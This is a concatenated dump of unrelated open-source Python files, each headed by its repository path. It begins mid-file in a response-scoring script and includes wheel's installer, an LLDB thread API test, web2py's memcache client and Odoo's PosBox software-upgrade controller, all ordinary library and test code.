optparser.add_option("-o", "--output", dest="output", help="write HITs to FILE", metavar="FILE") # optparser.add_option("--refcol", help="Load reference tables using COLNAME", metavar="COLNAME") # optparser.add_option("--answercol", help="Use COLNAME as answer", metavar="COLNAME") # optparser.add_option("--questioncols", "--questioncol", help="Append values of COLNAMES to represent question", metavar="COLNAMES") # optparser.add_option("--db", help="Existing database to load into", metavar="DB") # optparser.add_option("--majority", metavar="INT", help="Fill majorityAnswer table only for items with INT or more responses", default=3) (options, infiles) = optparser.parse_args() assert options.references, "--references argument required" ###################################################################### # # Main # print >>sys.stderr, infile responses = (tabResponseReader if options.tsv else jsonResponseReader)(fileinput.input(infiles), itemRef=options.items, answerRef=options.answers, abstain=options.abstain) responses = list(responses) references = readReferences(options.references) scorer = simpleScorer(responses, itemRef=options.items, answerRef=options.answers) scorer.scoreReference(references, prAnswers=set(options.pr.split())) if options.inter: scorer.interannotator() # loader = dbWriter(options.db) # loader.loadQuestions(responses, options.questioncols) # loader.loadResponses(responses) # loader.loadPredicted(responses) # loader.loadMajority(responses, threshold=int(options.majority)) # if options.refcol: # print >>sys.stderr, "Loading reference answers using %s column" % options.refcol # loader.loadReference(responses, options.refcol) # loader.conn.commit() ######################################################################
djkonro/client-python
refs/heads/master
kubernetes/test/test_v1_gce_persistent_disk_volume_source.py
2
# coding: utf-8 """ Kubernetes No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: v1.7.4 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import os import sys import unittest import kubernetes.client from kubernetes.client.rest import ApiException from kubernetes.client.models.v1_gce_persistent_disk_volume_source import V1GCEPersistentDiskVolumeSource class TestV1GCEPersistentDiskVolumeSource(unittest.TestCase): """ V1GCEPersistentDiskVolumeSource unit test stubs """ def setUp(self): pass def tearDown(self): pass def testV1GCEPersistentDiskVolumeSource(self): """ Test V1GCEPersistentDiskVolumeSource """ model = kubernetes.client.models.v1_gce_persistent_disk_volume_source.V1GCEPersistentDiskVolumeSource() if __name__ == '__main__': unittest.main()
tushar7795/MicroBlog
refs/heads/master
flask/lib/python2.7/site-packages/wheel/install.py
472
""" Operations on existing wheel files, including basic installation. """ # XXX see patched pip to install import sys import warnings import os.path import re import zipfile import hashlib import csv import shutil try: _big_number = sys.maxsize except NameError: _big_number = sys.maxint from wheel.decorator import reify from wheel.util import (urlsafe_b64encode, from_json, urlsafe_b64decode, native, binary, HashingFile) from wheel import signatures from wheel.pkginfo import read_pkg_info_bytes from wheel.util import open_for_csv from .pep425tags import get_supported from .paths import get_install_paths # The next major version after this version of the 'wheel' tool: VERSION_TOO_HIGH = (1, 0) # Non-greedy matching of an optional build number may be too clever (more # invalid wheel filenames will match). Separate regex for .dist-info? WHEEL_INFO_RE = re.compile( r"""^(?P<namever>(?P<name>.+?)(-(?P<ver>\d.+?))?) ((-(?P<build>\d.*?))?-(?P<pyver>.+?)-(?P<abi>.+?)-(?P<plat>.+?) \.whl|\.dist-info)$""", re.VERBOSE).match def parse_version(version): """Use parse_version from pkg_resources or distutils as available.""" global parse_version try: from pkg_resources import parse_version except ImportError: from distutils.version import LooseVersion as parse_version return parse_version(version) class BadWheelFile(ValueError): pass class WheelFile(object): """Parse wheel-specific attributes from a wheel (.whl) file and offer basic installation and verification support. WheelFile can be used to simply parse a wheel filename by avoiding the methods that require the actual file contents.""" WHEEL_INFO = "WHEEL" RECORD = "RECORD" def __init__(self, filename, fp=None, append=False, context=get_supported): """ :param fp: A seekable file-like object or None to open(filename). :param append: Open archive in append mode. :param context: Function returning list of supported tags. Wheels must have the same context to be sortable. """ self.filename = filename self.fp = fp self.append = append self.context = context basename = os.path.basename(filename) self.parsed_filename = WHEEL_INFO_RE(basename) if not basename.endswith('.whl') or self.parsed_filename is None: raise BadWheelFile("Bad filename '%s'" % filename) def __repr__(self): return self.filename @property def distinfo_name(self): return "%s.dist-info" % self.parsed_filename.group('namever') @property def datadir_name(self): return "%s.data" % self.parsed_filename.group('namever') @property def record_name(self): return "%s/%s" % (self.distinfo_name, self.RECORD) @property def wheelinfo_name(self): return "%s/%s" % (self.distinfo_name, self.WHEEL_INFO) @property def tags(self): """A wheel file is compatible with the Cartesian product of the period-delimited tags in its filename. To choose a wheel file among several candidates having the same distribution version 'ver', an installer ranks each triple of (pyver, abi, plat) that its Python installation can run, sorting the wheels by the best-ranked tag it supports and then by their arity which is just len(list(compatibility_tags)). """ tags = self.parsed_filename.groupdict() for pyver in tags['pyver'].split('.'): for abi in tags['abi'].split('.'): for plat in tags['plat'].split('.'): yield (pyver, abi, plat) compatibility_tags = tags @property def arity(self): """The number of compatibility tags the wheel declares.""" return len(list(self.compatibility_tags)) @property def rank(self): """ Lowest index of any of this wheel's tags in self.context(), and the arity e.g. (0, 1) """ return self.compatibility_rank(self.context()) @property def compatible(self): return self.rank[0] != _big_number # bad API! # deprecated: def compatibility_rank(self, supported): """Rank the wheel against the supported tags. Smaller ranks are more compatible! :param supported: A list of compatibility tags that the current Python implemenation can run. """ preferences = [] for tag in self.compatibility_tags: try: preferences.append(supported.index(tag)) # Tag not present except ValueError: pass if len(preferences): return (min(preferences), self.arity) return (_big_number, 0) # deprecated def supports_current_python(self, x): assert self.context == x, 'context mismatch' return self.compatible # Comparability. # Wheels are equal if they refer to the same file. # If two wheels are not equal, compare based on (in this order): # 1. Name # 2. Version # 3. Compatibility rank # 4. Filename (as a tiebreaker) @property def _sort_key(self): return (self.parsed_filename.group('name'), parse_version(self.parsed_filename.group('ver')), tuple(-x for x in self.rank), self.filename) def __eq__(self, other): return self.filename == other.filename def __ne__(self, other): return self.filename != other.filename def __lt__(self, other): if self.context != other.context: raise TypeError("{0}.context != {1}.context".format(self, other)) return self._sort_key < other._sort_key # XXX prune sn = self.parsed_filename.group('name') on = other.parsed_filename.group('name') if sn != on: return sn < on sv = parse_version(self.parsed_filename.group('ver')) ov = parse_version(other.parsed_filename.group('ver')) if sv != ov: return sv < ov # Compatibility if self.context != other.context: raise TypeError("{0}.context != {1}.context".format(self, other)) sc = self.rank oc = other.rank if sc != None and oc != None and sc != oc: # Smaller compatibility ranks are "better" than larger ones, # so we have to reverse the sense of the comparison here! return sc > oc elif sc == None and oc != None: return False return self.filename < other.filename def __gt__(self, other): return other < self def __le__(self, other): return self == other or self < other def __ge__(self, other): return self == other or other < self # # Methods using the file's contents: # @reify def zipfile(self): mode = "r" if self.append: mode = "a" vzf = VerifyingZipFile(self.fp if self.fp else self.filename, mode) if not self.append: self.verify(vzf) return vzf @reify def parsed_wheel_info(self): """Parse wheel metadata (the .data/WHEEL file)""" return read_pkg_info_bytes(self.zipfile.read(self.wheelinfo_name)) def check_version(self): version = self.parsed_wheel_info['Wheel-Version'] if tuple(map(int, version.split('.'))) >= VERSION_TOO_HIGH: raise ValueError("Wheel version is too high") @reify def install_paths(self): """ Consult distutils to get the install paths for our dist. A dict with ('purelib', 'platlib', 'headers', 'scripts', 'data'). We use the name from our filename as the dist name, which means headers could be installed in the wrong place if the filesystem-escaped name is different than the Name. Who cares? """ name = self.parsed_filename.group('name') return get_install_paths(name) def install(self, force=False, overrides={}): """ Install the wheel into site-packages. """ # Utility to get the target directory for a particular key def get_path(key): return overrides.get(key) or self.install_paths[key] # The base target location is either purelib or platlib if self.parsed_wheel_info['Root-Is-Purelib'] == 'true': root = get_path('purelib') else: root = get_path('platlib') # Parse all the names in the archive name_trans = {} for info in self.zipfile.infolist(): name = info.filename # Zip files can contain entries representing directories. # These end in a '/'. # We ignore these, as we create directories on demand. if name.endswith('/'): continue # Pathnames in a zipfile namelist are always /-separated. # In theory, paths could start with ./ or have other oddities # but this won't happen in practical cases of well-formed wheels. # We'll cover the simple case of an initial './' as it's both easy # to do and more common than most other oddities. if name.startswith('./'): name = name[2:] # Split off the base directory to identify files that are to be # installed in non-root locations basedir, sep, filename = name.partition('/') if sep and basedir == self.datadir_name: # Data file. Target destination is elsewhere key, sep, filename = filename.partition('/') if not sep: raise ValueError("Invalid filename in wheel: {0}".format(name)) target = get_path(key) else: # Normal file. Target destination is root key = '' target = root filename = name # Map the actual filename from the zipfile to its intended target # directory and the pathname relative to that directory. dest = os.path.normpath(os.path.join(target, filename)) name_trans[info] = (key, target, filename, dest) # We're now ready to start processing the actual install. The process # is as follows: # 1. Prechecks - is the wheel valid, is its declared architecture # OK, etc. [[Responsibility of the caller]] # 2. Overwrite check - do any of the files to be installed already # exist? # 3. Actual install - put the files in their target locations. # 4. Update RECORD - write a suitably modified RECORD file to # reflect the actual installed paths. if not force: for info, v in name_trans.items(): k = info.filename key, target, filename, dest = v if os.path.exists(dest): raise ValueError("Wheel file {0} would overwrite {1}. Use force if this is intended".format(k, dest)) # Get the name of our executable, for use when replacing script # wrapper hashbang lines. # We encode it using getfilesystemencoding, as that is "the name of # the encoding used to convert Unicode filenames into system file # names". exename = sys.executable.encode(sys.getfilesystemencoding()) record_data = [] record_name = self.distinfo_name + '/RECORD' for info, (key, target, filename, dest) in name_trans.items(): name = info.filename source = self.zipfile.open(info) # Skip the RECORD file if name == record_name: continue ddir = os.path.dirname(dest) if not os.path.isdir(ddir): os.makedirs(ddir) destination = HashingFile(open(dest, 'wb')) if key == 'scripts': hashbang = source.readline() if hashbang.startswith(b'#!python'): hashbang = b'#!' + exename + binary(os.linesep) destination.write(hashbang) shutil.copyfileobj(source, destination) reldest = os.path.relpath(dest, root) reldest.replace(os.sep, '/') record_data.append((reldest, destination.digest(), destination.length)) destination.close() source.close() # preserve attributes (especially +x bit for scripts) attrs = info.external_attr >> 16 if attrs: # tends to be 0 if Windows. os.chmod(dest, info.external_attr >> 16) record_name = os.path.join(root, self.record_name) writer = csv.writer(open_for_csv(record_name, 'w+')) for reldest, digest, length in sorted(record_data): writer.writerow((reldest, digest, length)) writer.writerow((self.record_name, '', '')) def verify(self, zipfile=None): """Configure the VerifyingZipFile `zipfile` by verifying its signature and setting expected hashes for every hash in RECORD. Caller must complete the verification process by completely reading every file in the archive (e.g. with extractall).""" sig = None if zipfile is None: zipfile = self.zipfile zipfile.strict = True record_name = '/'.join((self.distinfo_name, 'RECORD')) sig_name = '/'.join((self.distinfo_name, 'RECORD.jws')) # tolerate s/mime signatures: smime_sig_name = '/'.join((self.distinfo_name, 'RECORD.p7s')) zipfile.set_expected_hash(record_name, None) zipfile.set_expected_hash(sig_name, None) zipfile.set_expected_hash(smime_sig_name, None) record = zipfile.read(record_name) record_digest = urlsafe_b64encode(hashlib.sha256(record).digest()) try: sig = from_json(native(zipfile.read(sig_name))) except KeyError: # no signature pass if sig: headers, payload = signatures.verify(sig) if payload['hash'] != "sha256=" + native(record_digest): msg = "RECORD.sig claimed RECORD hash {0} != computed hash {1}." raise BadWheelFile(msg.format(payload['hash'], native(record_digest))) reader = csv.reader((native(r) for r in record.splitlines())) for row in reader: filename = row[0] hash = row[1] if not hash: if filename not in (record_name, sig_name): sys.stderr.write("%s has no hash!\n" % filename) continue algo, data = row[1].split('=', 1) assert algo == "sha256", "Unsupported hash algorithm" zipfile.set_expected_hash(filename, urlsafe_b64decode(binary(data))) class VerifyingZipFile(zipfile.ZipFile): """ZipFile that can assert that each of its extracted contents matches an expected sha256 hash. Note that each file must be completly read in order for its hash to be checked.""" def __init__(self, file, mode="r", compression=zipfile.ZIP_STORED, allowZip64=False): zipfile.ZipFile.__init__(self, file, mode, compression, allowZip64) self.strict = False self._expected_hashes = {} self._hash_algorithm = hashlib.sha256 def set_expected_hash(self, name, hash): """ :param name: name of zip entry :param hash: bytes of hash (or None for "don't care") """ self._expected_hashes[name] = hash def open(self, name_or_info, mode="r", pwd=None): """Return file-like object for 'name'.""" # A non-monkey-patched version would contain most of zipfile.py ef = zipfile.ZipFile.open(self, name_or_info, mode, pwd) if isinstance(name_or_info, zipfile.ZipInfo): name = name_or_info.filename else: name = name_or_info if (name in self._expected_hashes and self._expected_hashes[name] != None): expected_hash = self._expected_hashes[name] try: _update_crc_orig = ef._update_crc except AttributeError: warnings.warn('Need ZipExtFile._update_crc to implement ' 'file hash verification (in Python >= 2.7)') return ef running_hash = self._hash_algorithm() if hasattr(ef, '_eof'): # py33 def _update_crc(data): _update_crc_orig(data) running_hash.update(data) if ef._eof and running_hash.digest() != expected_hash: raise BadWheelFile("Bad hash for file %r" % ef.name) else: def _update_crc(data, eof=None): _update_crc_orig(data, eof=eof) running_hash.update(data) if eof and running_hash.digest() != expected_hash: raise BadWheelFile("Bad hash for file %r" % ef.name) ef._update_crc = _update_crc elif self.strict and name not in self._expected_hashes: raise BadWheelFile("No expected hash for file %r" % ef.name) return ef def pop(self): """Truncate the last file off this zipfile. Assumes infolist() is in the same order as the files (true for ordinary zip files created by Python)""" if not self.fp: raise RuntimeError( "Attempt to pop from ZIP archive that was already closed") last = self.infolist().pop() del self.NameToInfo[last.filename] self.fp.seek(last.header_offset, os.SEEK_SET) self.fp.truncate() self._didModify = True
youprofit/ansible
refs/heads/devel
test/units/plugins/inventory/__init__.py
7690
# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # Make coding more python3-ish from __future__ import (absolute_import, division, print_function) __metaclass__ = type
endlessm/chromium-browser
refs/heads/master
third_party/llvm/lldb/test/API/python_api/thread/TestThreadAPI.py
1
""" Test SBThread APIs. """ from __future__ import print_function import lldb from lldbsuite.test.decorators import * from lldbsuite.test.lldbtest import * from lldbsuite.test import lldbutil from lldbsuite.test.lldbutil import get_stopped_thread, get_caller_symbol class ThreadAPITestCase(TestBase): mydir = TestBase.compute_mydir(__file__) @add_test_categories(['pyapi']) def test_get_process(self): """Test Python SBThread.GetProcess() API.""" self.build() self.get_process() @add_test_categories(['pyapi']) def test_get_stop_description(self): """Test Python SBThread.GetStopDescription() API.""" self.build() self.get_stop_description() @add_test_categories(['pyapi']) def test_run_to_address(self): """Test Python SBThread.RunToAddress() API.""" # We build a different executable than the default build() does. d = {'CXX_SOURCES': 'main2.cpp', 'EXE': self.exe_name} self.build(dictionary=d) self.setTearDownCleanup(dictionary=d) self.run_to_address(self.exe_name) @add_test_categories(['pyapi']) @expectedFailureAll(oslist=['freebsd'], bugnumber='llvm.org/pr20476') @expectedFailureAll(oslist=["windows"]) @expectedFailureNetBSD def test_step_out_of_malloc_into_function_b(self): """Test Python SBThread.StepOut() API to step out of a malloc call where the call site is at function b().""" # We build a different executable than the default build() does. d = {'CXX_SOURCES': 'main2.cpp', 'EXE': self.exe_name} self.build(dictionary=d) self.setTearDownCleanup(dictionary=d) self.step_out_of_malloc_into_function_b(self.exe_name) @add_test_categories(['pyapi']) def test_step_over_3_times(self): """Test Python SBThread.StepOver() API.""" # We build a different executable than the default build() does. d = {'CXX_SOURCES': 'main2.cpp', 'EXE': self.exe_name} self.build(dictionary=d) self.setTearDownCleanup(dictionary=d) self.step_over_3_times(self.exe_name) def setUp(self): # Call super's setUp(). TestBase.setUp(self) # Find the line number within main.cpp to break inside main(). self.break_line = line_number( "main.cpp", "// Set break point at this line and check variable 'my_char'.") # Find the line numbers within main2.cpp for # step_out_of_malloc_into_function_b() and step_over_3_times(). self.step_out_of_malloc = line_number( "main2.cpp", "// thread step-out of malloc into function b.") self.after_3_step_overs = line_number( "main2.cpp", "// we should reach here after 3 step-over's.") # We'll use the test method name as the exe_name for executable # compiled from main2.cpp. self.exe_name = self.testMethodName def get_process(self): """Test Python SBThread.GetProcess() API.""" exe = self.getBuildArtifact("a.out") target = self.dbg.CreateTarget(exe) self.assertTrue(target, VALID_TARGET) breakpoint = target.BreakpointCreateByLocation( "main.cpp", self.break_line) self.assertTrue(breakpoint, VALID_BREAKPOINT) self.runCmd("breakpoint list") # Launch the process, and do not stop at the entry point. process = target.LaunchSimple( None, None, self.get_process_working_directory()) thread = get_stopped_thread(process, lldb.eStopReasonBreakpoint) self.assertTrue( thread.IsValid(), "There should be a thread stopped due to breakpoint") self.runCmd("process status") proc_of_thread = thread.GetProcess() #print("proc_of_thread:", proc_of_thread) self.assertTrue(proc_of_thread.GetProcessID() == process.GetProcessID()) def get_stop_description(self): """Test Python SBThread.GetStopDescription() API.""" exe = self.getBuildArtifact("a.out") target = self.dbg.CreateTarget(exe) self.assertTrue(target, VALID_TARGET) breakpoint = target.BreakpointCreateByLocation( "main.cpp", self.break_line) self.assertTrue(breakpoint, VALID_BREAKPOINT) #self.runCmd("breakpoint list") # Launch the process, and do not stop at the entry point. process = target.LaunchSimple( None, None, self.get_process_working_directory()) thread = get_stopped_thread(process, lldb.eStopReasonBreakpoint) self.assertTrue( thread.IsValid(), "There should be a thread stopped due to breakpoint") # Get the stop reason. GetStopDescription expects that we pass in the size of the description # we expect plus an additional byte for the null terminator. # Test with a buffer that is exactly as large as the expected stop reason. self.assertEqual("breakpoint 1.1", thread.GetStopDescription(len('breakpoint 1.1') + 1)) # Test some smaller buffer sizes. self.assertEqual("breakpoint", thread.GetStopDescription(len('breakpoint') + 1)) self.assertEqual("break", thread.GetStopDescription(len('break') + 1)) self.assertEqual("b", thread.GetStopDescription(len('b') + 1)) # Test that we can pass in a much larger size and still get the right output. self.assertEqual("breakpoint 1.1", thread.GetStopDescription(len('breakpoint 1.1') + 100)) def step_out_of_malloc_into_function_b(self, exe_name): """Test Python SBThread.StepOut() API to step out of a malloc call where the call site is at function b().""" exe = self.getBuildArtifact(exe_name) target = self.dbg.CreateTarget(exe) self.assertTrue(target, VALID_TARGET) breakpoint = target.BreakpointCreateByName('malloc') self.assertTrue(breakpoint, VALID_BREAKPOINT) # Launch the process, and do not stop at the entry point. process = target.LaunchSimple( None, None, self.get_process_working_directory()) while True: thread = get_stopped_thread(process, lldb.eStopReasonBreakpoint) self.assertTrue( thread.IsValid(), "There should be a thread stopped due to breakpoint") caller_symbol = get_caller_symbol(thread) if not caller_symbol: self.fail( "Test failed: could not locate the caller symbol of malloc") # Our top frame may be an inlined function in malloc() (e.g., on # FreeBSD). Apply a simple heuristic of stepping out until we find # a non-malloc caller while caller_symbol.startswith("malloc"): thread.StepOut() self.assertTrue(thread.IsValid(), "Thread valid after stepping to outer malloc") caller_symbol = get_caller_symbol(thread) if caller_symbol == "b(int)": break process.Continue() # On Linux malloc calls itself in some case. Remove the breakpoint because we don't want # to hit it during step-out. target.BreakpointDelete(breakpoint.GetID()) thread.StepOut() self.runCmd("thread backtrace") self.assertTrue( thread.GetFrameAtIndex(0).GetLineEntry().GetLine() == self.step_out_of_malloc, "step out of malloc into function b is successful") def step_over_3_times(self, exe_name): """Test Python SBThread.StepOver() API.""" exe = self.getBuildArtifact(exe_name) target = self.dbg.CreateTarget(exe) self.assertTrue(target, VALID_TARGET) breakpoint = target.BreakpointCreateByLocation( 'main2.cpp', self.step_out_of_malloc) self.assertTrue(breakpoint, VALID_BREAKPOINT) self.runCmd("breakpoint list") # Launch the process, and do not stop at the entry point. process = target.LaunchSimple( None, None, self.get_process_working_directory()) self.assertTrue(process, PROCESS_IS_VALID) # Frame #0 should be on self.step_out_of_malloc. self.assertTrue(process.GetState() == lldb.eStateStopped) thread = get_stopped_thread(process, lldb.eStopReasonBreakpoint) self.assertTrue( thread.IsValid(), "There should be a thread stopped due to breakpoint condition") self.runCmd("thread backtrace") frame0 = thread.GetFrameAtIndex(0) lineEntry = frame0.GetLineEntry() self.assertTrue(lineEntry.GetLine() == self.step_out_of_malloc) thread.StepOver() thread.StepOver() thread.StepOver() self.runCmd("thread backtrace") # Verify that we are stopped at the correct source line number in # main2.cpp. frame0 = thread.GetFrameAtIndex(0) lineEntry = frame0.GetLineEntry() self.assertTrue(thread.GetStopReason() == lldb.eStopReasonPlanComplete) # Expected failure with clang as the compiler. # rdar://problem/9223880 # # Which has been fixed on the lldb by compensating for inaccurate line # table information with r140416. self.assertTrue(lineEntry.GetLine() == self.after_3_step_overs) def run_to_address(self, exe_name): """Test Python SBThread.RunToAddress() API.""" exe = self.getBuildArtifact(exe_name) target = self.dbg.CreateTarget(exe) self.assertTrue(target, VALID_TARGET) breakpoint = target.BreakpointCreateByLocation( 'main2.cpp', self.step_out_of_malloc) self.assertTrue(breakpoint, VALID_BREAKPOINT) self.runCmd("breakpoint list") # Launch the process, and do not stop at the entry point. process = target.LaunchSimple( None, None, self.get_process_working_directory()) self.assertTrue(process, PROCESS_IS_VALID) # Frame #0 should be on self.step_out_of_malloc. self.assertTrue(process.GetState() == lldb.eStateStopped) thread = get_stopped_thread(process, lldb.eStopReasonBreakpoint) self.assertTrue( thread.IsValid(), "There should be a thread stopped due to breakpoint condition") self.runCmd("thread backtrace") frame0 = thread.GetFrameAtIndex(0) lineEntry = frame0.GetLineEntry() self.assertTrue(lineEntry.GetLine() == self.step_out_of_malloc) # Get the start/end addresses for this line entry. start_addr = lineEntry.GetStartAddress().GetLoadAddress(target) end_addr = lineEntry.GetEndAddress().GetLoadAddress(target) if self.TraceOn(): print("start addr:", hex(start_addr)) print("end addr:", hex(end_addr)) # Disable the breakpoint. self.assertTrue(target.DisableAllBreakpoints()) self.runCmd("breakpoint list") thread.StepOver() thread.StepOver() thread.StepOver() self.runCmd("thread backtrace") # Now ask SBThread to run to the address 'start_addr' we got earlier, which # corresponds to self.step_out_of_malloc line entry's start address. thread.RunToAddress(start_addr) self.runCmd("process status") #self.runCmd("thread backtrace")
sabi0/intellij-community
refs/heads/master
python/testData/dotNet/import_system.py
80
from S<caret>ystem.Web import AspNetHostingPermission print AspNetHostingPermission
Nick-OpusVL/odoo
refs/heads/8.0
addons/account/wizard/account_subscription_generate.py
347
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## import time from openerp.osv import fields, osv class account_subscription_generate(osv.osv_memory): _name = "account.subscription.generate" _description = "Subscription Compute" _columns = { 'date': fields.date('Generate Entries Before', required=True), } _defaults = { 'date': lambda *a: time.strftime('%Y-%m-%d'), } def action_generate(self, cr, uid, ids, context=None): mod_obj = self.pool.get('ir.model.data') act_obj = self.pool.get('ir.actions.act_window') sub_line_obj = self.pool.get('account.subscription.line') moves_created=[] for data in self.read(cr, uid, ids, context=context): line_ids = sub_line_obj.search(cr, uid, [('date', '<', data['date']), ('move_id', '=', False)], context=context) moves = sub_line_obj.move_create(cr, uid, line_ids, context=context) moves_created.extend(moves) result = mod_obj.get_object_reference(cr, uid, 'account', 'action_move_line_form') id = result and result[1] or False result = act_obj.read(cr, uid, [id], context=context)[0] result['domain'] = str([('id','in',moves_created)]) return result # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
achals/servo
refs/heads/master
tests/wpt/web-platform-tests/tools/html5lib/html5lib/treewalkers/pulldom.py
1729
from __future__ import absolute_import, division, unicode_literals from xml.dom.pulldom import START_ELEMENT, END_ELEMENT, \ COMMENT, IGNORABLE_WHITESPACE, CHARACTERS from . import _base from ..constants import voidElements class TreeWalker(_base.TreeWalker): def __iter__(self): ignore_until = None previous = None for event in self.tree: if previous is not None and \ (ignore_until is None or previous[1] is ignore_until): if previous[1] is ignore_until: ignore_until = None for token in self.tokens(previous, event): yield token if token["type"] == "EmptyTag": ignore_until = previous[1] previous = event if ignore_until is None or previous[1] is ignore_until: for token in self.tokens(previous, None): yield token elif ignore_until is not None: raise ValueError("Illformed DOM event stream: void element without END_ELEMENT") def tokens(self, event, next): type, node = event if type == START_ELEMENT: name = node.nodeName namespace = node.namespaceURI attrs = {} for attr in list(node.attributes.keys()): attr = node.getAttributeNode(attr) attrs[(attr.namespaceURI, attr.localName)] = attr.value if name in voidElements: for token in self.emptyTag(namespace, name, attrs, not next or next[1] is not node): yield token else: yield self.startTag(namespace, name, attrs) elif type == END_ELEMENT: name = node.nodeName namespace = node.namespaceURI if name not in voidElements: yield self.endTag(namespace, name) elif type == COMMENT: yield self.comment(node.nodeValue) elif type in (IGNORABLE_WHITESPACE, CHARACTERS): for token in self.text(node.nodeValue): yield token else: yield self.unknown(type)
burakbayramli/dersblog
refs/heads/master
algs/algs_105_mesquita/test3.py
2
import bdm # In 10, Out 1 bdm.run("brexit.csv",iter=4)
scrapinghub/disco
refs/heads/master
lib/disco/schemes/scheme_discodb.py
2
import __builtin__ from disco import util from discodb import DiscoDB, Q def open(url, task=None): if task: disco_data = task.disco_data ddfs_data = task.ddfs_data else: from disco.settings import DiscoSettings settings = DiscoSettings() disco_data = settings['DISCO_DATA'] ddfs_data = settings['DDFS_DATA'] scheme, netloc, rest = util.urlsplit(url) path, rest = rest.split('!', 1) if '!' in rest else (rest, '') discodb = DiscoDB.load(__builtin__.open(util.localize(path, disco_data=disco_data, ddfs_data=ddfs_data))) if rest: method_name, arg = rest.split('/', 1) if '/' in rest else (rest, None) method = getattr(discodb, method_name) if method_name in ('metaquery', 'query'): return method(Q.urlscan(arg)) return method(*filter(None, arg)) return discodb def input_stream(fd, size, url, params): return open(url, task=globals().get('Task')), size, url
uwdata/termite-data-server
refs/heads/master
web2py/gluon/contrib/gae_memcache.py
9
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Developed by Robin Bhattacharyya (memecache for GAE) Released under the web2py license (LGPL) from gluon.contrib.gae_memcache import MemcacheClient cache.ram=cache.disk=MemcacheClient(request) """ import time from google.appengine.api.memcache import Client class MemcacheClient(object): client = Client() def __init__(self, request, default_time_expire = 300): self.request = request self.default_time_expire = default_time_expire def __call__( self, key, f, time_expire=None, ): if time_expire is None: time_expire = self.default_time_expire key = '%s/%s' % (self.request.application, key) value = None obj = self.client.get(key) if obj: value = obj[1] elif f is not None: value = f() self.client.set(key, (time.time(), value), time=time_expire) return value def increment(self, key, value=1): key = '%s/%s' % (self.request.application, key) obj = self.client.get(key) if obj: value = obj[1] + value self.client.set(key, (time.time(), value)) return value def incr(self, key, value=1): return self.increment(key, value) def clear(self, key=None): if key: key = '%s/%s' % (self.request.application, key) self.client.delete(key) else: self.client.flush_all() def delete(self, *a, **b): return self.client.delete(*a, **b) def get(self, *a, **b): return self.client.get(*a, **b) def set(self, *a, **b): return self.client.set(*a, **b) def flush_all(self, *a, **b): return self.client.delete(*a, **b)
a0c/odoo
refs/heads/master
addons/hw_posbox_upgrade/controllers/main.py
45
# -*- coding: utf-8 -*- import logging import os import time import openerp import openerp.addons.hw_proxy.controllers.main as hw_proxy import threading from openerp import http from openerp.http import request from openerp.tools.translate import _ _logger = logging.getLogger(__name__) upgrade_template = """ <!DOCTYPE HTML> <html> <head> <title>OpenERP's PosBox - Software Upgrade</title> <script src="http://code.jquery.com/jquery-1.11.0.min.js"></script> <script> $(function(){ var upgrading = false; $('#upgrade').click(function(){ console.log('click'); if(!upgrading){ upgrading = true; $('#upgrade').text('Upgrading, Please Wait'); $.ajax({ url:'/hw_proxy/perform_upgrade/' }).then(function(status){ $('#upgrade').html('Upgrade Successful<br \\>Click to Restart the PosBox'); $('#upgrade').off('click'); $('#upgrade').click(function(){ $.ajax({ url:'/hw_proxy/perform_restart' }) $('#upgrade').text('Restarting'); $('#upgrade').off('click'); setTimeout(function(){ window.location = '/' },30*1000); }); },function(){ $('#upgrade').text('Upgrade Failed'); }); } }); }); </script> <style> body { width: 480px; margin: 60px auto; font-family: sans-serif; text-align: justify; color: #6B6B6B; } .centering{ text-align: center; } #upgrade { padding: 20px; background: rgb(121, 197, 107); color: white; border-radius: 3px; text-align: center; margin: 30px; text-decoration: none; display: inline-block; } </style> </head> <body> <h1>PosBox Software Upgrade</h1> <p> This tool will help you perform an upgrade of the PosBox's software. However the preferred method to upgrade the posbox is to flash the sd-card with the <a href='http://nightly.openerp.com/trunk/posbox/'>latest image</a>. The upgrade procedure is explained into to the <a href='/hw_proxy/static/doc/manual.pdf'>PosBox manual</a> </p> <p> To upgrade the posbox, click on the upgrade button. The upgrade will take a few minutes. <b>Do not reboot</b> the PosBox during the upgrade. </p> <div class='centering'> <a href='#' id='upgrade'>Upgrade</a> </div> </body> </html> """ class PosboxUpgrader(hw_proxy.Proxy): def __init__(self): super(PosboxUpgrader,self).__init__() self.upgrading = threading.Lock() self.last_upgrade = 0 @http.route('/hw_proxy/upgrade', type='http', auth='none', ) def upgrade(self): return upgrade_template @http.route('/hw_proxy/perform_upgrade', type='http', auth='none') def perform_upgrade(self): self.upgrading.acquire() if time.time() - self.last_upgrade < 30: self.upgrading.release() return 'UPTODATE' else: os.system('/bin/bash /home/pi/openerp/update.sh') self.last_upgrade = time.time() self.upgrading.release() return 'SUCCESS' @http.route('/hw_proxy/perform_restart', type='http', auth='none') def perform_restart(self): self.upgrading.acquire() if time.time() - self.last_upgrade < 30: self.upgrading.release() return 'RESTARTED' else: os.system('/bin/bash /home/pi/openerp/restart.sh') self.last_upgrade = time.time() self.upgrading.release() return 'SUCCESS'
ghandiosm/Test
refs/heads/master
addons/website_livechat/models/website.py
43
